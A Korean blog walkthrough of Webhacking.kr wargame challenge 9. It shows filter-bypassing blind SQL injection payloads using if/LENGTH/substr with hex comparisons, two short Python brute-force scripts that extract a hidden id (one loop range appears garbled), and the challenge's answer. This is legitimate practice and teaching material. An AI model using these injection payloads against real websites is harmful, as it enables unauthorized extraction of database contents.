호빵둥이 IT Blog

Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog 본문

프로그래밍/[워게임]Webhacking.kr

Webhacking.kr 9번 풀이 :: 호빵둥이 IT Blog

d2n0s4ur 2020. 6. 19. 21:38

 

 

안녕하세요!

 

오늘은 워게임, Webhacking.kr Chellenge 9번 문제를 풀어보도록 하겠습니다.

 

이번문제는 SQL블라인드인젝션을 사용한 문제입니다.

 

 

#문제 보기


우선 https://webhacking.kr/challenge/web-09/ 에 접속해보도록 하겠습니다.

 

Challenge 9

 

webhacking.kr

 

 

 

접속한 모습. Password를 찾아내야하는 것 같다.

 

각각 1, 2, 3을 눌러 들어가 보면,

 

 

 

 

 

 

 

 

이렇게 3가지 사이트를 볼 수 있습니다.

 

no=3일 때 홈페이지를 통해, no 3 의 id를 구하면 될 것이라고 유추할 수 있습니다.

 

#문제 분석 및 풀이


 

 

SQL 블라인드 인젝션을 하기 전에, 간단하게 SQL인젝션을 시도해보겠습니다.

 

https://webhacking.kr/challenge/web-09/?no=3%27%20or%20%271%27=%271

 

Challenge 9

 

webhacking.kr

 

하지만, 바로 Access Denied가 뜨는 모습을 볼 수 있습니다.

 

이후 여러 구문을 시도해본 결과,

 

'(작은따옴표), "(큰따옴표), 공백, and, &, |, or, % 등이 막혀있는 모습을 볼 수 있습니다.

 

 

 

 

그러면, SQL 블라인드 인젝션을 통해서 id의 length값을 알아낸 후에 무작위 대입을 통해 유추해보도록 하겠습니다.

 

우선 다음의 URL에 접속하여 id의 length값을 알아보도록 하겠습니다.

 

 

 

 

 


https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like({ID문자열의 길이}),3,0)


 

 

 

 

위 URL 요청을 서버로 보내게 되면, id 의 LENGTH와 입력한 문자열의 길이가 같다면

 

no가 3이되어 화면에 Secret이 출력되고, 만약 길이가 같지않다면

 

no가 0이 되어 초기 화면이 보여질 것입니다.

 

간단한 Python 코드를 입력해 Length 값을 먼저 알아내보도록 하겠습니다.

 

 

1
2
3
4
5
6
7
for i in range(1,100):
    url = 'https://webhacking.kr/challenge/web-09/?no=if(LENGTH(id)like('+str(i)+'),3,0)'
 
    response = requests.get(url)
    if(response.text.find('Secret')!= -1):
            print("id's length is "+str(i))
            break
cs

 

 

1 ~ 100 까지 ID의 LENGTH와 비교해서 같으면, ID의 LENGTH를 출력하는 프로그램입니다.

 

이를 실행시켜 보면,

 

ID's LENGTH = 11

 

id가 11자리 글자인 사실을 알 수 있습니다.

 

이제 substr함수를 사용하여 ID의 각 자리수 문자를 알아보도록 하겠습니다.

 

 

 

 

 

 


https://webhacking.kr/challenge/web-09/?no=if(substr(id,{문자인덱스},1)like({맞는지 확인할 문자의 헥스값}),3,0)


 

 

 

 

 

위 구문에 따라 해당 문자 인덱스의 문자가 맞는지 확인할 문자의 헥스값과 비교해서 맞다면

 

no에 3을, 다르다면 no에 0이 들어갈 것입니다.

 

이제 이 구문을 11개의 문자에 대해서 일치하는 알파벳 소문자, 대문자를 찾아보도록 하겠습니다.

 

 

1
2
3
4
5
6
7
8
for i in range(1,12):
    for j in range(65123):
        url = 'https://webhacking.kr/challenge/web-09/?no=if(substr(id,'+str(i)+',1)like('+ hex(j) +'),3,0)'
        
        response = requests.get(url)
        if(response.text.find('Secret')!= -1):
            print(chr(j),end='')
            break
cs

 

 

이를 실행시키면,

 

 

 

ID가 ALSRKSWHAQL임을 확인할 수 있습니다.

 

이를 password에 넣어보면,

 

https://webhacking.kr/challenge/web-09/index.php?pw=ALSRKSWHAQL

 

Challenge 9

 

webhacking.kr

 

 

 

분명 제대로 푼 것 같은데, 풀리지 않는다.

 

 

문제가 해결되지 않는 것을 확인할 수 있습니다.

 

여기서, 우리가 간과하고 있는 점이 하나 있습니다.

 

바로, MYSQL은 대소문자를 구분하지 않는 것입니다.

 

그래서 대문자 A의 아스키코드 0x41과 소문자 a의 아스키코드 0x61을 같은 문자로 인식하는 것입니다. 

 

MYSQL에서 대소문자를 구분할 수 있는 방법은 다른 블로그의 링크를 첨부하도록 하겠습니다.

 

https://m.blog.naver.com/PostView.nhn?blogId=21cchaos&logNo=70104665887

 

[MS SQL] 대소문자 구별

MS SQL은 대소문자 구별을 하지 않는다고 한다. 하지만 조회시 대소문자를 구별해야 하는 경우가 있어...

blog.naver.com

 

 

 

그런데, 이런 방법을 사용해도 Access Denied가 뜨면서 접속을 거부합니다.

 

그러면 가능한 소문자 조합을 여러가지 시도해 보면,

 

https://webhacking.kr/challenge/web-09/?pw=alsrkswhaql

 

Challenge 9

 

webhacking.kr

 

 

 

 

 

답은 alsrkswhaql, 모두 소문자가 됩니다.

 

 

 

 

 

 

#연관된 활동


 

SQL 블라인드 인젝션을 하기 위해서는 SQL 함수들을 많이 알아두는 것이 좋습니다.

 

잘 정리된 블로그 링크를 남기며, 이상 마치도록 하겠습니다.

 

https://websecurity.tistory.com/154

 

[WEB 취약점 SQL Injection] 필터링 우회 + Blind SQL Injection

SQL INJECTION [정의] SQL 인젝션 (SQL 삽입, SQL 주입으로도 불린다) 은 코드 인젝션의 한 기법으로 클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식을 말한다. 주로 ��

websecurity.tistory.com

 

 

 

 

 

 

 

포스트 잘 보셨다면 하단에 ♡ 꼭 눌러주시길 부탁드립니다!

(♡ 는 블로거에게 큰 힘이 됩니다)

 

 

 

[이전글] : 2020/05/18 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

 

Webhacking.kr 8번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 8번 문제를 풀어보도록 하겠습니다. 이번 문제는 SQL 인젝션과 패킷 조작을 사용한 문제입니다. 패킷 조작은 며칠 전 포스트 올렸던 Burp Suite 프로그

h-bread.tistory.com

[다음글] : 2020/06/20 - [프로그래밍/[워게임]Webhacking.kr] - Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

 

Webhacking.kr 10번 풀이 :: 호빵둥이 IT Blog

안녕하세요! 오늘은 워게임, Webhacking.kr Chellenge 10번 문제를 풀어보도록 하겠습니다. 이번 문제는 자바스크립트와 제이쿼리를 사용한 간단한 문제입니다. #문제 보기 우선 https://webhacking.kr/challenge

h-bread.tistory.com

 

Comments